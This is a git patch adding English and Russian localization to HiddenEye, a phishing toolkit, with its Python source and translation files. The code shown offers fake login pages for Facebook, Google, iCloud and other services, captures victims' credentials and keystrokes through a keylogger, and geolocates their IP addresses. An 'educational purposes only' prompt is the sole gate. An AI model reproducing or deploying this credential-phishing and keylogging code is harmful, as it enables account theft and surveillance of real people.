From 4ee71519a1156235e5b8827e380dfc63460f436c Mon Sep 17 00:00:00 2001 From: Artur Tretiak Date: Wed, 31 Oct 2018 04:28:03 +0200 Subject: [PATCH] Localization system development (WIP) New - Language basic structure New - Full English localization file New - Full Russian localization file --- .gitignore | 2 + Defs/Actions.py | 64 ++-- Defs/Checks.py | 9 +- Defs/Languages.py | 1 + HiddenEye.py | 3 +- Lang/en_US/LC_MESSAGES/hiddeneye.mo | Bin 0 -> 10267 bytes Lang/en_US/LC_MESSAGES/hiddeneye.po | 485 +++++++++++++++++++++++++++ Lang/ru_RU/LC_MESSAGES/hiddeneye.mo | Bin 0 -> 11717 bytes Lang/ru_RU/LC_MESSAGES/hiddeneye.po | 488 ++++++++++++++++++++++++++++ 9 files changed, 1016 insertions(+), 36 deletions(-) create mode 100644 Lang/en_US/LC_MESSAGES/hiddeneye.mo create mode 100644 Lang/en_US/LC_MESSAGES/hiddeneye.po create mode 100644 Lang/ru_RU/LC_MESSAGES/hiddeneye.mo create mode 100644 Lang/ru_RU/LC_MESSAGES/hiddeneye.po diff --git a/.gitignore b/.gitignore index 563c92a..017ecf2 100644 --- a/.gitignore +++ b/.gitignore @@ -26,3 +26,5 @@ Server/www/mobile\.html Server/www/usernames\.txt Settings\.ini + +ngrok\.url diff --git a/Defs/Actions.py b/Defs/Actions.py index 95bfc57..caf8972 100644 --- a/Defs/Actions.py +++ b/Defs/Actions.py @@ -9,6 +9,8 @@ from urllib.request import urlopen from subprocess import check_output from sys import stdout, argv from Defs.Configurations import readConfig, ifSettingsNotExists +from gettext import gettext as _ + RED, WHITE, CYAN, GREEN, DEFAULT = '\033[91m', '\033[46m', '\033[36m', '\033[1;32m', '\033[0m' ifSettingsNotExists() @@ -69,8 +71,8 @@ def runPhishing(page , customOption): #Phishing pages selection menu copy_tree("WebPages/VK_poll_method/", "Server/www/") def selectServer(): #Question where user must select server - print("\n {0}Please select any available server:{1}".format(RED, DEFAULT)) - print("\n {0}[{1}1{0}]{1} Ngrok\n {0}[{1}2{0}]{1} Serveo".format(RED, DEFAULT)) + print(_("\n {0}Please select any available server:{1}").format(RED, DEFAULT)) + print(_("\n {0}[{1}1{0}]{1} Ngrok\n {0}[{1}2{0}]{1} Serveo").format(RED, DEFAULT)) choice = input(" \n {0}HiddenEye >>> {1}".format(RED, DEFAULT)) @@ -114,7 +116,7 @@ def runServeo(): def runMainMenu(): #menu where user select what they wanna use system('clear') - print (''' + print (_(''' {1}<=============================================================================> @@ -130,36 +132,36 @@ def runMainMenu(): #menu where user select what they wanna use {0}[ NOW WITH LIVE VICTIM ATTACK INFORMATION ] {0}A KEYLOGGER WILL BE DEPLOYED FOR YOU, TO CAPTURE EVERY KEYSTROKE ] <=============================================================================> - '''.format(GREEN, DEFAULT, CYAN, RED)) + ''').format(GREEN, DEFAULT, CYAN, RED)) if 256 != system('which php'): #Checking if user have PHP print (" -----------------------".format(CYAN, DEFAULT)) - print ("[PHP INSTALLATION FOUND]".format(CYAN, DEFAULT)) + print (_("[PHP INSTALLATION FOUND]").format(CYAN, DEFAULT)) print (" -----------------------".format(CYAN, DEFAULT)) else: - print (" --{0}>{1} PHP NOT FOUND: \n {0}*{1} Please install PHP and run me again.http://www.php.net/".format(CYAN, DEFAULT)) + print (_(" --{0}>{1} PHP NOT FOUND: \n {0}*{1} Please install PHP and run me again.http://www.php.net/").format(CYAN, DEFAULT)) exit(0) for i in range(101): sleep(0.05) - stdout.write("\r{0}[{1}*{0}]{1} HiddenEye is Opening. Please Wait... %d%%".format(RED, DEFAULT) % i) + stdout.write(_("{0}[{1}*{0}]{1} HiddenEye is Opening. Please Wait... %d%%").format(RED, DEFAULT) % i) stdout.flush() - if input("\n{2}[{1}!{2}]{1} Do you agree to use this tool for educational purposes only? ({2}y{1}/{0}n{1})\n{2}HiddenEye >>> {1}".format(CYAN, DEFAULT, RED)).upper() != 'Y': #Question where user must accept education purposes + if input(_("\n{2}[{1}!{2}]{1} Do you agree to use this tool for educational purposes only? ({2}y{1}/{0}n{1})\n{2}HiddenEye >>> {1}").format(CYAN, DEFAULT, RED)).upper() != 'Y': #Question where user must accept education purposes system('clear') - print ('\n\n[ {0}YOU ARE NOT AUTHORIZED TO USE THIS TOOL.YOU CAN ONLY USE IT FOR EDUCATIONAL PURPOSE. GOOD BYE!{1} ]\n\n'.format(RED, DEFAULT)) + print (_('\n\n[ {0}YOU ARE NOT AUTHORIZED TO USE THIS TOOL.YOU CAN ONLY USE IT FOR EDUCATIONAL PURPOSE. GOOD BYE!{1} ]\n\n').format(RED, DEFAULT)) exit(0) - option = input("\nSELECT ANY ATTACK VECTOR FOR YOUR VICTIM:\n\n {0}[{1}1{0}]{1} Facebook\n\n {0}[{1}2{0}]{1} Google\n\n {0}[{1}3{0}]{1} LinkedIn\n\n {0}[{1}4{0}]{1} GitHub\n\n {0}[{1}5{0}]{1} StackOverflow\n\n {0}[{1}6{0}]{1} WordPress\n\n {0}[{1}7{0}]{1} Twitter\n\n {0}[{1}8{0}]{1} Instagram\n\n {0}[{1}9{0}]{1} Snapchat\n\n {0}[{1}10{0}]{1} Yahoo\n\n {0}[{1}11{0}]{1} Twitch\n\n {0}[{1}12{0}]{1} Microsoft\n\n {0}[{1}13{0}]{1} Steam\n\n {0}[{1}14{0}]{1} VK\n\n {0}[{1}15{0}]{1} iCloud\n\n{0}HiddenEye >>> {1}".format(RED, DEFAULT)) + option = input(_("\nSELECT ANY ATTACK VECTOR FOR YOUR VICTIM:\n\n {0}[{1}1{0}]{1} Facebook\n\n {0}[{1}2{0}]{1} Google\n\n {0}[{1}3{0}]{1} LinkedIn\n\n {0}[{1}4{0}]{1} GitHub\n\n {0}[{1}5{0}]{1} StackOverflow\n\n {0}[{1}6{0}]{1} WordPress\n\n {0}[{1}7{0}]{1} Twitter\n\n {0}[{1}8{0}]{1} Instagram\n\n {0}[{1}9{0}]{1} Snapchat\n\n {0}[{1}10{0}]{1} Yahoo\n\n {0}[{1}11{0}]{1} Twitch\n\n {0}[{1}12{0}]{1} Microsoft\n\n {0}[{1}13{0}]{1} Steam\n\n {0}[{1}14{0}]{1} VK\n\n {0}[{1}15{0}]{1} iCloud\n\n{0}HiddenEye >>> {1}").format(RED, DEFAULT)) if option == '1': loadModule('Facebook') - customOption = input("\nOperation mode:\n\n {0}[{1}1{0}]{1} Standard Page Phishing\n\n {0}[{1}2{0}]{1} Advanced Phishing-Poll Ranking Method(Poll_mode/login_with)\n\n {0}[{1}3{0}]{1} Facebook Phishing- Fake Security issue(security_mode) \n\n {0}[{1}4{0}]{1} Facebook Phising-Messenger Credentials(messenger_mode) \n\n{0}HiddenEye >>> {1}".format(RED, DEFAULT)) + customOption = input(_("\nOperation mode:\n\n {0}[{1}1{0}]{1} Standard Page Phishing\n\n {0}[{1}2{0}]{1} Advanced Phishing-Poll Ranking Method(Poll_mode/login_with)\n\n {0}[{1}3{0}]{1} Facebook Phishing- Fake Security issue(security_mode) \n\n {0}[{1}4{0}]{1} Facebook Phising-Messenger Credentials(messenger_mode) \n\n{0}HiddenEye >>> {1}").format(RED, DEFAULT)) runPhishing('Facebook', customOption) elif option == '2': loadModule('Google') - customOption = input("\nOperation mode:\n\n {0}[{1}1{0}]{1} Standard Page Phishing\n\n {0}[{1}2{0}]{1} Advanced Phishing(poll_mode/login_with)\n\n {0}[{1}3{0}]{1} New Google Web\n\n{0}HiddenEye >>> {1}".format(RED, DEFAULT)) + customOption = input(_("\nOperation mode:\n\n {0}[{1}1{0}]{1} Standard Page Phishing\n\n {0}[{1}2{0}]{1} Advanced Phishing(poll_mode/login_with)\n\n {0}[{1}3{0}]{1} New Google Web\n\n{0}HiddenEye >>> {1}").format(RED, DEFAULT)) runPhishing('Google', customOption) elif option == '3': loadModule('LinkedIn') @@ -183,7 +185,7 @@ def runMainMenu(): #menu where user select what they wanna use runPhishing('Twitter', customOption) elif option == '8': loadModule('Instagram') - customOption = input("\nOperation mode:\n\n {0}[{1}1{0}]{1} Standard Instagram Web Page Phishing\n\n {0}[{1}2{0}]{1} Instagram Autoliker Phising (After submit redirects to original autoliker)\n\n{0}HiddenEye >>> {1}".format(RED, DEFAULT)) + customOption = input(_("\nOperation mode:\n\n {0}[{1}1{0}]{1} Standard Instagram Web Page Phishing\n\n {0}[{1}2{0}]{1} Instagram Autoliker Phising (After submit redirects to original autoliker)\n\n{0}HiddenEye >>> {1}").format(RED, DEFAULT)) runPhishing('Instagram', customOption) elif option == '9': loadModule('Snapchat') @@ -207,7 +209,7 @@ def runMainMenu(): #menu where user select what they wanna use runPhishing('Steam', customOption) elif option == '14': loadModule('VK') - customOption = input("\nOperation mode:\n\n {0}[{1}1{0}]{1} Standard VK Web Page Phishing\n\n {0}[{1}2{0}]{1} Advanced Phishing(poll_mode/login_with)\n\n{0}HiddenEye >>> {1}".format(RED, DEFAULT)) + customOption = input(_("\nOperation mode:\n\n {0}[{1}1{0}]{1} Standard VK Web Page Phishing\n\n {0}[{1}2{0}]{1} Advanced Phishing(poll_mode/login_with)\n\n{0}HiddenEye >>> {1}").format(RED, DEFAULT)) runPhishing('VK', customOption) elif option == '15': loadModule('iCloud') @@ -217,14 +219,14 @@ def runMainMenu(): #menu where user select what they wanna use exit(0) def loadModule(module): #This one just show text.. - print (''' {0} - [{1}*{0}] module loaded. Building site...{0}'''.format(RED, DEFAULT)) + print (_(''' {0} + [{1}*{0}] module loaded. Building site...{0}''').format(RED, DEFAULT)) def inputCustom(): #Question where user can input custom web-link - print("\n (Choose Wisely As Your Victim Will Redirect to This Link)".format(RED, DEFAULT)) - print("\n (Leave Blank To Loop The Phishing Page)".format(RED, DEFAULT)) - print("\n {0}Insert a custom redirect url:".format(RED, DEFAULT)) - custom = input("\n {0}CUSTOM URL>>> {1}".format(RED, DEFAULT)) + print(_("\n (Choose Wisely As Your Victim Will Redirect to This Link)").format(RED, DEFAULT)) + print(_("\n (Leave Blank To Loop The Phishing Page)").format(RED, DEFAULT)) + print(_("\n {0}Insert a custom redirect url:").format(RED, DEFAULT)) + custom = input(_("\n {0}CUSTOM URL>>> {1}").format(RED, DEFAULT)) if 'http://' in custom or 'https://' in custom: pass else: @@ -255,7 +257,7 @@ def runServer(): def endMessage(): #Message when HiddenEye exit system('clear') - print (''' + print (_(''' {1}_....~~~~=====~~~~...._ .'========={3}/----=\{1}=========> /:========={3}/-----====\{1} @@ -266,19 +268,19 @@ def endMessage(): #Message when HiddenEye exit {3}HIDDEN EYE {3}BY: DARKSEC TEAM {0}THANKS FOR USING IT. HELP US TO MAKE IT MORE USEFUL - {3}https://github.com/DarkSecDevelopers/HiddenEye '''.format(GREEN, DEFAULT, CYAN, RED)) + {3}https://github.com/DarkSecDevelopers/HiddenEye ''').format(GREEN, DEFAULT, CYAN, RED)) def getCredentials(): - print("{0}[{1}*{0}]{1} Waiting for credentials//Keystrokes//Victim's device info. \n".format(CYAN, DEFAULT)) + print(_("{0}[{1}*{0}]{1} Waiting for credentials//Keystrokes//Victim's device info. \n").format(CYAN, DEFAULT)) while True: with open('Server/www/usernames.txt') as creds: lines = creds.read().rstrip() if len(lines) != 0: writeLog('======================================================================'.format(RED, DEFAULT)) - writeLog(' {0}[ CREDENTIALS FOUND ]{1}:\n {0}%s{1}'.format(GREEN, DEFAULT) % lines) + writeLog(_(' {0}[ CREDENTIALS FOUND ]{1}:\n {0}%s{1}').format(GREEN, DEFAULT) % lines) system('rm -rf Server/www/usernames.txt && touch Server/www/usernames.txt') writeLog('======================================================================'.format(RED, DEFAULT)) @@ -288,21 +290,21 @@ def getCredentials(): with open('Server/www/ip.txt') as creds: lines = creds.read().rstrip() if len(lines) != 0: - ip = re.match('Victim Public IP: (.*?)\n', lines).group(1) + ip = re.match(_('Victim Public IP: (.*?)\n'), lines).group(1) resp = urlopen('https://ipinfo.io/%s/json' % ip) ipinfo = json.loads(resp.read().decode(resp.info().get_param('charset') or 'utf-8')) if 'bogon' in ipinfo: log('======================================================================'.format(RED, DEFAULT)) - log(' \n{0}[ VICTIM IP BONUS ]{1}:\n {0}%s{1}'.format(GREEN, DEFAULT) % lines) + log(_(' \n{0}[ VICTIM IP BONUS ]{1}:\n {0}%s{1}').format(GREEN, DEFAULT) % lines) else: matchObj = re.match('^(.*?),(.*)$', ipinfo['loc']) latitude = matchObj.group(1) longitude = matchObj.group(2) writeLog('======================================================================'.format(RED, DEFAULT)) - writeLog(' \n{0}[ VICTIM INFO FOUND ]{1}:\n {0}%s{1}'.format(GREEN, DEFAULT) % lines) - writeLog(' \n{0}Longitude: %s \nLatitude: %s{1}'.format(GREEN, DEFAULT) % (longitude, latitude)) - writeLog(' \n{0}ISP: %s \nCountry: %s{1}'.format(GREEN, DEFAULT) % (ipinfo['org'], ipinfo['country'])) - writeLog(' \n{0}Region: %s \nCity: %s{1}'.format(GREEN, DEFAULT) % (ipinfo['region'], ipinfo['city'])) + writeLog(_(' \n{0}[ VICTIM INFO FOUND ]{1}:\n {0}%s{1}').format(GREEN, DEFAULT) % lines) + writeLog(_(' \n{0}Longitude: {2} \nLatitude: {3}{1}').format(GREEN, DEFAULT, longitude, latitude)) + writeLog(_(' \n{0}ISP: {2} \nCountry: {3}{1}').format(GREEN, DEFAULT, ipinfo['org'], ipinfo['country'])) + writeLog(_(' \n{0}Region: {2} \nCity: {3}{1}').format(GREEN, DEFAULT, ipinfo['region'], ipinfo['city'])) system('rm -rf Server/www/ip.txt && touch Server/www/ip.txt') writeLog('======================================================================'.format(RED, DEFAULT)) @@ -312,7 +314,7 @@ def getCredentials(): lines = creds.read().rstrip() if len(lines) != 0: writeLog('______________________________________________________________________'.format(RED, DEFAULT)) - writeLog(' {0}[ GETTING PRESSED KEYS ]{1}:\n {0}%s{1}'.format(GREEN, DEFAULT) % lines) + writeLog(_(' {0}[ GETTING PRESSED KEYS ]{1}:\n {0}%s{1}').format(GREEN, DEFAULT) % lines) system('rm -rf Server/www/KeyloggerData.txt && touch Server/www/KeyloggerData.txt') writeLog('______________________________________________________________________'.format(RED, DEFAULT)) diff --git a/Defs/Checks.py b/Defs/Checks.py index 414b628..ad39621 100644 --- a/Defs/Checks.py +++ b/Defs/Checks.py @@ -5,30 +5,31 @@ from os import path, system from subprocess import check_output from platform import system as systemos, architecture from wget import download +from gettext import gettext as _ RED, GREEN, DEFAULT = '\033[91m', '\033[1;32m', '\033[0m' def checkConnection(host='http://duckduckgo.com'): #Connection check try: urlopen(host) - print("{0}Successful connection!{1}".format(GREEN, DEFAULT)) + print(_("{0}Successful connection!{1}").format(GREEN, DEFAULT)) return True except: return False if checkConnection() == False: - print ('''{1} + print (_('''{1} _ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1} |__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1} | | | ]__| ]__| |__ | \| {0}|__ || |__{1} {0}[{1}!{0}]{1} Network error. Verify your connection.\n -'''.format(RED, DEFAULT)) +''').format(RED, DEFAULT)) exit(0) def checkNgrok(): #Ngrok check if path.isfile('Server/ngrok') == False: #Is Ngrok downloaded? - print('[*] Downloading Ngrok...') + print(_('[*] Downloading Ngrok...')) if 'Android' in str(check_output(('uname', '-a'))): filename = 'ngrok-stable-linux-arm.zip' else: diff --git a/Defs/Languages.py b/Defs/Languages.py index 0d63993..4699f67 100644 --- a/Defs/Languages.py +++ b/Defs/Languages.py @@ -1 +1,2 @@ #WILL BE SOON!!! +#Work in process!!! diff --git a/HiddenEye.py b/HiddenEye.py index da056bf..c7932de 100644 --- a/HiddenEye.py +++ b/HiddenEye.py @@ -1,12 +1,13 @@ #!/usr/bin/python3 #HiddenEye by Open Source Community import multiprocessing +import gettext +from gettext import gettext as _ from Defs.Checks import * from Defs.Configurations import * from Defs.Actions import * - RED, WHITE, CYAN, GREEN, DEFAULT = '\033[91m', '\033[46m', '\033[36m', '\033[1;32m', '\033[0m' checkConnection() diff --git a/Lang/en_US/LC_MESSAGES/hiddeneye.mo b/Lang/en_US/LC_MESSAGES/hiddeneye.mo new file mode 100644 index 0000000000000000000000000000000000000000..e6ed90c31284be4f3c8d9d66eea68f67cd70b80b GIT binary patch literal 10267 zcmeHMOKf9T8NQU3hZ#!ggO>L{i0LFV_?5K7)YD9H?3=`jV;lQALr6yE#y*K}b90Y% z9~s<9Dj|f#vRxFm17cN##1g@t4GSd1iUkV<3l^-pMTqaek8|xL)6R&IK*C4k`*gblbZGx+CP61G_+s+ zl&1M;U-)!n)AxXv(7qS9e+!&L`)|M(flofIX$!!YftP_p;1%Foz!!kOiSds>_U|9S zSAdykG_4M-0^b9^4g4j>|G~47zt`Xl`+EgS?C+0(?C&oSD2~tHfzJb<`Eum%RUrG@ z0J6Vt0NLMnf$XoK$ls?fM*fx&B=+|YK=${iUyb~I9?r7A*YM#v*#WY@cY*Bh&wvZS z-vQa*e*xLw7r|tIzZv7}K=$|hK=$_@kp2A=ko~<3Wegvd&&T)?Ai}Rb9=92|j}PPb z6n+SeDxXs|_uIl|%e=+?WyHih3jg@qncydON1EH9c<4w$YC^IRSYB2S| z?V0XB9`*x?5KtDTIurIy_Q1j@5h<;m7Kv?s#LF`KC`*Q|f9P_A6;Ob8IbbnHZqxEs zsakHYcl65Lg_E;=-z}VMQ=@r{ZqlaDZ-uOy z5xS{YyOl6LFg*wQ={y#U17O!r0;d4jB1>DE*I&@_xN^!<@n%IEhj ze;DlM`tmSeHQj@b=vT#&u;oa&UVhCQ41}YPMW}_Wn5zt>^aS0qJYkQi?9rACT-vny zzI6zyZBtteELZe>@+BEV%cHvG9L%$BU6@CLmTl8HAVX4J$`K?4wIDULoPBDU`+_Cm zW2M_Mnj6$@*Kgju$(wgXt~s7?eKM&Zc)mO&HyJE&?NTJtvV{o?VILb|I%6`AOv^TR zZ6>-$!Y!%pwoxl$wA(;x?7Q+H9GuAu3Aw{MQp+?E5!1J%Lx*x8N|;7SOm)!lO=n=b z1A>*lx$l~Yh}aFiQa+|?YJgO_9Qe|<4ul(ub42FKdp??8uzP6v%3F_PD_v{fa!i}d zL~99XDV_JVLDI2`x#pv9GOmE43x~=NZNLfLz1^84C>uMLcx+GI*Umh8{!VF zO1Y0|Kve!4re<3(mD)%@4(*2UhjK8-vhW+3H#J>eNhaIDFcb3Ngxg`DzUNq8N{9QB8$ zpR$UDgtuj4Q=MR_9f^nP4<|S(8XH#Mm7d(2>`z6c;|ud}LQBPCbA5uUf?-u`84S)@ zkkPh_ix}^67lGk6S(P-F0bzd=g7={So2}3Lyf39qd(tH_2>RhpiOp#gxFZ}G9!bX@ zzeaQDWsKhP@ZABEP@NuoXu_bqpCd zC#2e9A6s_P57y~)C)>&WkuQ$O&~Bqj>}4s;nM5%nlXy&hMRPe|l&G9_%FGO2ak>mAcE-KOLN z0v+$5#ai6h>Gkr2%9Iw1LyMKePpCyZsaE)A5^E_F!`o8)i6eLs7%rcN@b5_XfQ0Kx zH%FVowf4rmq7W7p`y8&|EmyvdnaI`#SqOPy77xSwm>7#pt7&9$T!hOkTQz;Gf`vly zdbU`|E*7bDUoWINI1Q2C$mx8&{M;UxdK+P=In`!naryekn{K?}6_H0F-tSA8`I>}Y_hj_T*6&L9x za2_F%i6xb&vXi?(In7Vn%)=gW`hhcIt8b#7YQ?qt5R~Gy*mP_5C^!9ZHbrv>{X5* vJZG\n" +"Language-Team: \n" +"Language: en_US\n" +"MIME-Version: 1.0\n" +"Content-Type: text/plain; charset=UTF-8\n" +"Content-Transfer-Encoding: 8bit\n" +"X-Generator: Poedit 2.2\n" +"X-Poedit-Basepath: ../../..\n" +"Plural-Forms: nplurals=2; plural=(n != 1);\n" +"X-Poedit-SearchPath-0: Lang\n" +"X-Poedit-SearchPath-1: Defs\n" + +#: Defs/Actions.py:74 +#, python-brace-format +msgid "" +"\n" +" {0}Please select any available server:{1}" +msgstr "" +"\n" +" {0}Please select any available server:{1}" + +#: Defs/Actions.py:75 +#, python-brace-format +msgid "" +"\n" +" {0}[{1}1{0}]{1} Ngrok\n" +" {0}[{1}2{0}]{1} Serveo" +msgstr "" +"\n" +" {0}[{1}1{0}]{1} Ngrok\n" +" {0}[{1}2{0}]{1} Serveo" + +#: Defs/Actions.py:119 +#, python-brace-format +msgid "" +"\n" +"\n" +"\n" +"{1}" +"<=============================================================================>\n" +" || " +"||\n" +" {1}|| ██ ██ ██ ██████ ██████ ███████ ███ ██ {3}███████ ██ ██ " +"███████ {1}||\n" +" {1}|| ██ ██ ██ ██ ██ ██ ██ ██ ████ ██ {3}██ ██ ██ " +"██ {1}||\n" +" {1}|| ███████ ██ ██ ██ ██ ██ ███████ ██ ██ ██ {3}███████ ████ " +"███████ {1}||\n" +" {1}|| ██ ██ ██ ██ ██ ██ ██ ██ ██ ████ {3}██ ██ " +"██ {1}||\n" +" {1}|| ██ ██ ██ ██████ ██████ ███████ ██ ███ {3}███████ ██ " +"███████ {1}||\n" +" || " +"||\n" +" -----------------------------------------------------------------------------\n" +" v{3}0{1}.{3}1{1}.{3}" +"0{1} BY:DARKSEC{2}\n" +" {0}[ NOW WITH LIVE VICTIM ATTACK INFORMATION ]\n" +" {0}A KEYLOGGER WILL BE DEPLOYED FOR YOU, TO CAPTURE EVERY " +"KEYSTROKE ]\n" +"<=============================================================================>\n" +" " +msgstr "" +"\n" +"\n" +"\n" +"{1}" +"<=============================================================================>\n" +" || " +"||\n" +" {1}|| ██ ██ ██ ██████ ██████ ███████ ███ ██ {3}███████ ██ ██ " +"███████ {1}||\n" +" {1}|| ██ ██ ██ ██ ██ ██ ██ ██ ████ ██ {3}██ ██ ██ " +"██ {1}||\n" +" {1}|| ███████ ██ ██ ██ ██ ██ ███████ ██ ██ ██ {3}███████ ████ " +"███████ {1}||\n" +" {1}|| ██ ██ ██ ██ ██ ██ ██ ██ ██ ████ {3}██ ██ " +"██ {1}||\n" +" {1}|| ██ ██ ██ ██████ ██████ ███████ ██ ███ {3}███████ ██ " +"███████ {1}||\n" +" || " +"||\n" +" -----------------------------------------------------------------------------\n" +" v{3}0{1}.{3}1{1}.{3}" +"0{1} BY:DARKSEC{2}\n" +" {0}[ NOW WITH LIVE VICTIM ATTACK INFORMATION ]\n" +" {0}A KEYLOGGER WILL BE DEPLOYED FOR YOU, TO CAPTURE EVERY " +"KEYSTROKE ]\n" +"<=============================================================================>\n" +" " + +#: Defs/Actions.py:150 +#, python-format, python-brace-format +msgid "{0}[{1}*{0}]{1} HiddenEye is Opening. Please Wait... %d%%" +msgstr "{0}[{1}*{0}]{1} HiddenEye is Opening. Please Wait... %d%%" + +#: Defs/Actions.py:153 +#, python-brace-format +msgid "" +"\n" +"{2}[{1}!{2}]{1} Do you agree to use this tool for educational purposes only? " +"({2}y{1}/{0}n{1})\n" +"{2}HiddenEye >>> {1}" +msgstr "" +"\n" +"{2}[{1}!{2}]{1} Do you agree to use this tool for educational purposes only? " +"({2}y{1}/{0}n{1})\n" +"{2}HiddenEye >>> {1}" + +#: Defs/Actions.py:155 +#, python-brace-format +msgid "" +"\n" +"\n" +"[ {0}YOU ARE NOT AUTHORIZED TO USE THIS TOOL.YOU CAN ONLY USE IT FOR " +"EDUCATIONAL PURPOSE. GOOD BYE!{1} ]\n" +"\n" +msgstr "" +"\n" +"\n" +"[ {0}YOU ARE NOT AUTHORIZED TO USE THIS TOOL.YOU CAN ONLY USE IT FOR " +"EDUCATIONAL PURPOSE. GOOD BYE!{1} ]\n" +"\n" + +#: Defs/Actions.py:157 +#, python-brace-format +msgid "" +"\n" +"SELECT ANY ATTACK VECTOR FOR YOUR VICTIM:\n" +"\n" +" {0}[{1}1{0}]{1} Facebook\n" +"\n" +" {0}[{1}2{0}]{1} Google\n" +"\n" +" {0}[{1}3{0}]{1} LinkedIn\n" +"\n" +" {0}[{1}4{0}]{1} GitHub\n" +"\n" +" {0}[{1}5{0}]{1} StackOverflow\n" +"\n" +" {0}[{1}6{0}]{1} WordPress\n" +"\n" +" {0}[{1}7{0}]{1} Twitter\n" +"\n" +" {0}[{1}8{0}]{1} Instagram\n" +"\n" +" {0}[{1}9{0}]{1} Snapchat\n" +"\n" +" {0}[{1}10{0}]{1} Yahoo\n" +"\n" +" {0}[{1}11{0}]{1} Twitch\n" +"\n" +" {0}[{1}12{0}]{1} Microsoft\n" +"\n" +" {0}[{1}13{0}]{1} Steam\n" +"\n" +" {0}[{1}14{0}]{1} VK\n" +"\n" +" {0}[{1}15{0}]{1} iCloud\n" +"\n" +"{0}HiddenEye >>> {1}" +msgstr "" +"\n" +"SELECT ANY ATTACK VECTOR FOR YOUR VICTIM:\n" +"\n" +" {0}[{1}1{0}]{1} Facebook\n" +"\n" +" {0}[{1}2{0}]{1} Google\n" +"\n" +" {0}[{1}3{0}]{1} LinkedIn\n" +"\n" +" {0}[{1}4{0}]{1} GitHub\n" +"\n" +" {0}[{1}5{0}]{1} StackOverflow\n" +"\n" +" {0}[{1}6{0}]{1} WordPress\n" +"\n" +" {0}[{1}7{0}]{1} Twitter\n" +"\n" +" {0}[{1}8{0}]{1} Instagram\n" +"\n" +" {0}[{1}9{0}]{1} Snapchat\n" +"\n" +" {0}[{1}10{0}]{1} Yahoo\n" +"\n" +" {0}[{1}11{0}]{1} Twitch\n" +"\n" +" {0}[{1}12{0}]{1} Microsoft\n" +"\n" +" {0}[{1}13{0}]{1} Steam\n" +"\n" +" {0}[{1}14{0}]{1} VK\n" +"\n" +" {0}[{1}15{0}]{1} iCloud\n" +"\n" +"{0}HiddenEye >>> {1}" + +#: Defs/Actions.py:160 +#, python-brace-format +msgid "" +"\n" +"Operation mode:\n" +"\n" +" {0}[{1}1{0}]{1} Standard Page Phishing\n" +"\n" +" {0}[{1}2{0}]{1} Advanced Phishing-Poll Ranking Method(Poll_mode/" +"login_with)\n" +"\n" +" {0}[{1}3{0}]{1} Facebook Phishing- Fake Security issue(security_mode) \n" +"\n" +" {0}[{1}4{0}]{1} Facebook Phising-Messenger Credentials(messenger_mode) \n" +"\n" +"{0}HiddenEye >>> {1}" +msgstr "" +"\n" +"Operation mode:\n" +"\n" +" {0}[{1}1{0}]{1} Standard Page Phishing\n" +"\n" +" {0}[{1}2{0}]{1} Advanced Phishing-Poll Ranking Method(Poll_mode/" +"login_with)\n" +"\n" +" {0}[{1}3{0}]{1} Facebook Phishing- Fake Security issue(security_mode) \n" +"\n" +" {0}[{1}4{0}]{1} Facebook Phising-Messenger Credentials(messenger_mode) \n" +"\n" +"{0}HiddenEye >>> {1}" + +#: Defs/Actions.py:164 +#, python-brace-format +msgid "" +"\n" +"Operation mode:\n" +"\n" +" {0}[{1}1{0}]{1} Standard Page Phishing\n" +"\n" +" {0}[{1}2{0}]{1} Advanced Phishing(poll_mode/login_with)\n" +"\n" +" {0}[{1}3{0}]{1} New Google Web\n" +"\n" +"{0}HiddenEye >>> {1}" +msgstr "" +"\n" +"Operation mode:\n" +"\n" +" {0}[{1}1{0}]{1} Standard Page Phishing\n" +"\n" +" {0}[{1}2{0}]{1} Advanced Phishing(poll_mode/login_with)\n" +"\n" +" {0}[{1}3{0}]{1} New Google Web\n" +"\n" +"{0}HiddenEye >>> {1}" + +#: Defs/Actions.py:188 +#, python-brace-format +msgid "" +"\n" +"Operation mode:\n" +"\n" +" {0}[{1}1{0}]{1} Standard Instagram Web Page Phishing\n" +"\n" +" {0}[{1}2{0}]{1} Instagram Autoliker Phising (After submit redirects to " +"original autoliker)\n" +"\n" +"{0}HiddenEye >>> {1}" +msgstr "" +"\n" +"Operation mode:\n" +"\n" +" {0}[{1}1{0}]{1} Standard Instagram Web Page Phishing\n" +"\n" +" {0}[{1}2{0}]{1} Instagram Autoliker Phising (After submit redirects to " +"original autoliker)\n" +"\n" +"{0}HiddenEye >>> {1}" + +#: Defs/Actions.py:212 +#, python-brace-format +msgid "" +"\n" +"Operation mode:\n" +"\n" +" {0}[{1}1{0}]{1} Standard VK Web Page Phishing\n" +"\n" +" {0}[{1}2{0}]{1} Advanced Phishing(poll_mode/login_with)\n" +"\n" +"{0}HiddenEye >>> {1}" +msgstr "" +"\n" +"Operation mode:\n" +"\n" +" {0}[{1}1{0}]{1} Standard VK Web Page Phishing\n" +"\n" +" {0}[{1}2{0}]{1} Advanced Phishing(poll_mode/login_with)\n" +"\n" +"{0}HiddenEye >>> {1}" + +#: Defs/Actions.py:222 +#, python-brace-format +msgid "" +" {0}\n" +" [{1}*{0}] module loaded. Building site...{0}" +msgstr "" +" {0}\n" +" [{1}*{0}] module loaded. Building site...{0}" + +#: Defs/Actions.py:226 +msgid "" +"\n" +" (Choose Wisely As Your Victim Will Redirect to This Link)" +msgstr "" +"\n" +" (Choose Wisely As Your Victim Will Redirect to This Link)" + +#: Defs/Actions.py:227 +msgid "" +"\n" +" (Leave Blank To Loop The Phishing Page)" +msgstr "" +"\n" +" (Leave Blank To Loop The Phishing Page)" + +#: Defs/Actions.py:228 +#, python-brace-format +msgid "" +"\n" +" {0}Insert a custom redirect url:" +msgstr "" +"\n" +" {0}Insert a custom redirect url:" + +#: Defs/Actions.py:229 +#, python-brace-format +msgid "" +"\n" +" {0}CUSTOM URL>>> {1}" +msgstr "" +"\n" +" {0}CUSTOM URL >>> {1}" + +#: Defs/Actions.py:260 +#, python-brace-format +msgid "" +"\n" +" {1}_....~~~~=====~~~~...._\n" +" .'========={3}/----=\\{1}=========>\n" +" /:========={3}/-----====\\{1}\n" +" |=========={3}|-----======|{1}==========>\n" +" \\:========={3}\\---======/{1}\n" +" \\=========={3}\\=====/{1}==========>\n" +" ````~~~~=======~~~~````\n" +"\n" +" {3}HIDDEN EYE {3}BY: DARKSEC TEAM\n" +" {0}THANKS FOR USING IT. HELP US TO MAKE IT MORE USEFUL\n" +" {3}https://github.com/DarkSecDevelopers/HiddenEye " +msgstr "" +"\n" +" 